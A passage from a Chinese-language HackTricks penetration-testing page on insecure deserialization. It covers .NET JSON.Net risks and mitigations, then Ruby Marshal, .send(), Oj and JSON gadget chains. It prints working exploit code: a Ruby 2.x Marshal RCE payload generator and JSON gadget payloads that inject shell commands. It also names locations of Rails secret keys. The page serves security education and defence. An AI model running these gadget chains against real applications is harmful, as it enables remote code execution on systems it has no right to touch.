Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
在之前的代码易受创建的漏洞影响。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。
因此,--test
参数使我们能够了解哪些代码块易受反序列化漏洞的影响,该漏洞ysoserial.net可以创建。
ViewState
查看这篇关于如何尝试利用 .Net 的 __ViewState 参数来执行任意代码。 如果您已经知道受害者机器使用的秘密,阅读这篇文章以了解如何执行代码。
预防
为了减轻与 .Net 中反序列化相关的风险:
- 避免允许数据流定义其对象类型。 尽可能使用
DataContractSerializer
或XmlSerializer
。 - 对于
JSON.Net
,将TypeNameHandling
设置为None
: %%%TypeNameHandling = TypeNameHandling.None%%% - 避免使用带有
JavaScriptTypeResolver
的JavaScriptSerializer
。 - 限制可以被反序列化的类型, 理解 .Net 类型的固有风险,例如
System.IO.FileInfo
,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 - 对具有风险属性的类型保持谨慎, 如
System.ComponentModel.DataAnnotations.ValidationException
及其Value
属性,可能会被利用。 - 安全地控制类型实例化, 以防止攻击者影响反序列化过程,使得即使是
DataContractSerializer
或XmlSerializer
也变得脆弱。 - 使用自定义
SerializationBinder
为BinaryFormatter
和JSON.Net
实施白名单控制。 - 保持对已知不安全反序列化工具的了解, 确保反序列化器不实例化此类类型。
- 将潜在风险代码与具有互联网访问权限的代码隔离, 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的
System.Windows.Data.ObjectDataProvider
。
参考文献
- Java 和 .Net JSON 反序列化论文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 演讲:https://www.youtube.com/watch?v=oUAeWhW5b8c 和幻灯片:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
在 Ruby 中,序列化通过marshal库中的两种方法实现。第一种方法称为dump,用于将对象转换为字节流。这个过程称为序列化。相反,第二种方法load用于将字节流还原为对象,这个过程称为反序列化。
为了保护序列化对象,Ruby 使用 HMAC(基于哈希的消息认证码),确保数据的完整性和真实性。用于此目的的密钥存储在几个可能的位置之一:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X 通用反序列化到 RCE gadget 链(更多信息见 https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
其他 RCE 链以利用 Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() 方法
正如在 此漏洞报告 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 .send()
方法,该方法允许 调用对象的任何其他方法,并传递任何参数。
例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
<Object>.send('eval', '<user input with Ruby code>') == RCE
此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何不需要参数或其参数具有默认值的方法。
为此,可以枚举对象的所有方法以找到满足这些要求的一些有趣方法。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby 类污染
检查如何可能 污染 Ruby 类并在这里滥用它。
Ruby _json 污染
当发送一个包含一些不可哈希值(如数组)的主体时,它们将被添加到一个名为 _json
的新键中。然而,攻击者也可以在主体中设置一个名为 _json
的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 _json
参数执行某些操作,则可能会发生授权绕过。
在 Ruby _json 污染页面 中查看更多信息。
其他库
此技术取自 这篇博客文章。
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
库 | 输入数据 | 类内部启动方法 |
Marshal (Ruby) | 二进制 | _load |
Oj | JSON | hash (类需要作为键放入哈希(映射)中) |
Ox | XML | hash (类需要作为键放入哈希(映射)中) |
Psych (Ruby) | YAML | hash (类需要作为键放入哈希(映射)中)init_with |
JSON (Ruby) | JSON | json_create ([查看关于 json_create 的注释](#table-vulnerable-sinks)) |
基本示例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 hash
函数内部会调用 to_s
,而 to_s
会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
此外,发现使用之前的技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
查看原始帖子以获取更多详细信息。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。